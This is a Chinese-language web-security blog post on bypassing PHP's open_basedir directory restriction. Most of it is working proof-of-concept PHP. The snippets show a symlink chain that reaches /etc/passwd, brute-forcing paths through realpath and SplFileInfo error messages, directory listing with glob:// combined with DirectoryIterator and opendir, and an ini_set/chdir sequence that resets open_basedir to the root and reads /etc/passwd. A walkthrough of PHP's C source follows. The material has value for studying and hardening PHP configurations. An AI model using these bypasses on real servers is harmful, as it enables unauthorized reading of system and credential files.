写点什么

【web 安全】你的 open_basedir 安全吗?

作者:H
  • 2022 年 2 月 24 日
  • 本文字数:4598 字

    阅读完需:约 15 分钟

【web安全】你的open_basedir安全吗?

一、open_basedir

看一下 php.ini 里面的描述:

; open_basedir, if set, limits all file operations to the defined directory; and below. This directive makes most sense if used in a per-directory or; per-virtualhost web server configuration file. This directive is; *NOT* affected by whether Safe Mode is turned On or Off.
复制代码

open_basedir 可将用户访问文件的活动范围限制在指定的区域,通常是其目录的路径,也可用符号"."来代表当前目录。

注意用 open_basedir 指定的限制实际上是前缀,而不是目录名。(其实我也是才知道的)比如 open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的,所以如果要将访问限制在仅为指定的目录,可以将 open_basedir = /dir/user/

二、Bypass

命令执行

为什么选命令执行,因为open_basedir和命令执行无关,就可以直接获取目标文件。

如果遇到 disable_functions,就多换几个函数;如果关键字被过滤,办法也很多,可以参考大佬文章

【安全技术学习文档】



syslink() php 4/5/7/8

symlink(string $target, string $link): bool
复制代码

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd,就进入了路径/etc/passwdpayload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

<?phphighlight_file(__FILE__);mkdir("A");//创建目录chdir("A");//切换目录mkdir("B");chdir("B");mkdir("C");chdir("C");mkdir("D");chdir("D");chdir("..");chdir("..");chdir("..");chdir("..");symlink("A/B/C/D","aaa");symlink("aaa/../../../../etc/passwd","abc");unlink("aaa");mkdir("aaa");?>
复制代码

暴力破解

realpath()

realpath 是用来将参数 path 所指的相对路径转换成绝对路径,然后存于参数resolved_path所指的字符串 数组 或 指针 中的一个函数。 如果resolved_path为 NULL,则该函数调用 malloc 分配一块大小为 PATH_MAX 的内存来存放解析出来的绝对路径,并返回指向这块区域的指针。

有意思的是,在开启 open_basedir 后,当我们传入的路径是一个不存在的文件(目录)时,它将返回 false;当我们传入一个不在 open_basedir 里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。

如果一直爆破,是特别麻烦的。。。所以可以借助通配符来进行爆破,条件:Windows 环境。

<?phphighlight_file(__FILE__);ini_set('open_basedir', dirname(__FILE__));printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));set_error_handler('isexists');$dir = 'd:/WEB/';$file = '';$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';for ($i=0; $i < strlen($chars); $i++) {     $file = $dir . $chars[$i] . '<><';    realpath($file);}function isexists($errno, $errstr){    $regexp = '/File\((.*)\) is not within/';    preg_match($regexp, $errstr, $matches);    if (isset($matches[1])) {        printf("%s <br/>", $matches[1]);    }}?>
复制代码

bindtextdomain()以及 SplFileInfo::getRealPath()

除了 realpath(),还有 bindtextdomain()和 SplFileInfo::getRealPath()作用类似。同样是可以得到绝对路径。

bindtextdomain(string $domain, ?string $directory): string|false
复制代码

$directory存在时,会返回$directory的值,若不存在,则返回 false。

另外值得注意的是,Windows 环境下是没有 bindtextdomain 函数的,而在 Linux 环境下是存在的。

SplFileInfo 类为单个文件的信息提供高级面向对象的接口,SplFileInfo::getRealPath 类方法是用于获取文件的绝对路径。


为什么把这两个放在一块?因为和上面的 bindtextdomain 一样,是基于报错判断的,然后再进行爆破。

<?phpini_set('open_basedir', dirname(__FILE__));printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));$basedir = 'D:/test/';$arr = array();$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';for ($i=0; $i < strlen($chars); $i++) {     $info = new SplFileInfo($basedir . $chars[$i] . '<><');    $re = $info->getRealPath();    if ($re) {        dump($re);    }}function dump($s){    echo $s . '<br/>';    ob_flush();    flush();}?>
复制代码

glob:// 伪协议

glob:// — 查找匹配的文件路径模式

设计缺陷导致的任意文件名列出 :由于 PHP 在设计的时候(可以通过源码来进行分析),对于 glob 伪协议的实现过程中不检测 open_basedir,以及 safe_mode 也是不会检测的,由此可利用 glob:// 罗列文件名(也就是说在可读权限下,可以得到文件名,但无法读取文件内容;也就是单纯的罗列目录,能用来绕过 open_basedir)

单用 glob:// 是没有办法绕过的,要结合其它函数来实现

DirectoryIterator+glob://

DirectoryIterator 是 php5 中增加的一个类,为用户提供一个简单的查看目录的接口,结合这两个方式,我们就可以在 php5.3 以后版本对目录进行列举。

<?phphighlight_file(__FILE__);printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$a = $_GET['a'];$b = new DirectoryIterator($a);foreach($b as $c){ echo($c->__toString().'<br>');}?>
复制代码



即可列出根目录下的文件,但问题是,只能列举出根目录和open_basedir指定目录下文件,其他目录不可。

opendir()+readdir()+glob://

opendir() 函数为打开目录句柄,readdir() 函数为从目录句柄中读取条目。结合两个函数即可列举根目录中的文件:

<?phphighlight_file(__FILE__);$a = $_GET['c'];if ( $b = opendir($a) ) { while ( ($file = readdir($b)) !== false ) {     echo $file."<br>"; } closedir($b);}?>
复制代码

同样,只能列举出根目录和open_basedir指定目录下文件,其他目录不可。

姿势最骚的——利用 ini_set()绕过

ini_set()

ini_set()用来设置 php.ini 的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开 php.ini 文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string
复制代码

POC

<?phphighlight_file(__FILE__);mkdir('Andy');  //创建目录chdir('Andy');  //切换目录ini_set('open_basedir','..');  //把open_basedir切换到上层目录chdir('..');  //切换到根目录chdir('..');chdir('..');ini_set('open_basedir','/');  //设置open_basedir为根目录echo file_get_contents('/etc/passwd');  //读取/etc/passwd
复制代码

从 php 底层去研究 ini_set 属于 web-pwn 的范畴了,这一块我真的不太会,所以去请教了一位二进制的师傅,指导了一下入手点。

if (php_check_open_basedir_ex(ptr, 0) != 0) {            /* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */            efree(pathbuf);            return FAILURE;        }
复制代码

php_check_open_basedir_ex()如果想要利用 ini_set 覆盖之前的 open_basedir,那么必须通过该校验。

那我们跟进此函数

if (strlen(path) > (MAXPATHLEN - 1)) {    php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);    errno = EINVAL;    return -1;}#define PATH_MAX                 1024   /* max bytes in pathname */
复制代码

该函数会判断路径名称是否过长,在官方设定中给定范围是小于 1024。


此外,另一个检测函数php_check_specific_open_basedir(),同样我们继续跟进

if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {        /* Else use the unmodified path */        strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));    }path_len = strlen(path);if (path_len > (MAXPATHLEN - 1)) {    /* empty and too long paths are invalid */    return -1;}
复制代码

比对目录,并给local_open_basedir进行赋值,并检查目录名的长度是否合法,接下来,利用expand_filepath()将传入的 path,以绝对路径的格式保存在resolved_name,将local_open_basedir的值存放于resolved_basedir,然后二者进行比较。

if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) {    if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;}     else {                /* File is in the right directory */                return 0;        }}else {            /* /openbasedir/ and /openbasedir are the same directory */    if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR)     {                  if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0)         {            if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0)             {                return 0;            }        }        return -1;    }}
复制代码

进行比较的两个值均是由expand_filepath函数生成的,因此要实现 bypass php_check_open_basedir_ex,关键就是 bypass expand_filepath

还是一样,跟进expand_filepath函数

根据师傅所说,在我们跟进到 virtual_file_ex 得到关键语句:

if (!IS_ABSOLUTE_PATH(path, path_length)) {    if (state->cwd_length == 0) {        /* 保存 relative path */        start = 0;        memcpy(resolved_path , path, path_length + 1);    } else {        int state_cwd_length = state->cwd_length;       state->cwd_length = path_length;       memcpy(state->cwd, resolved_path, state->cwd_length+1);
复制代码

是目录拼接操作,如果 path 不是绝对路径,同时state->cwd_length == 0长度为 0,那么会将 path 作为绝对路径,储存在resolved_path。否则将会在state->cwd后拼接,那么重点就在于path_length

path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);/*tsrm_realpath_r():删除双反斜线 .  .. 和前一个目录*/
复制代码

总的来说,expand_filepath()在保存相对路径和绝对路径的时候,而open_basedir()如果为相对路径的话,是会实时变化的,这就是问题所在。在 POC 中每次目录操作都会进行一次 open_basedir 的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次 open_basedir 的目录全都会上跳。

比如初始设定open_basedir为/a/b/c/d,第一次 chdir 后变为/a/b/c,第二次 chdir 后变为/a/b,第三次 chdir 后变为/a,第四次 chdir 后变为/,那么这时候再进行ini_set,调整 open_basedir 为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以 bypass open_basedir。

三、总结

其实我感觉如果直接能 RCE,那肯定最好;然后相比之下最后一种姿势最骚;暴力破解应该是最繁琐的,不过也不失为一种方法的 ma。

用户头像

H

关注

还未添加个人签名 2021.08.04 加入

还未添加个人简介

评论

发布
暂无评论
【web安全】你的open_basedir安全吗?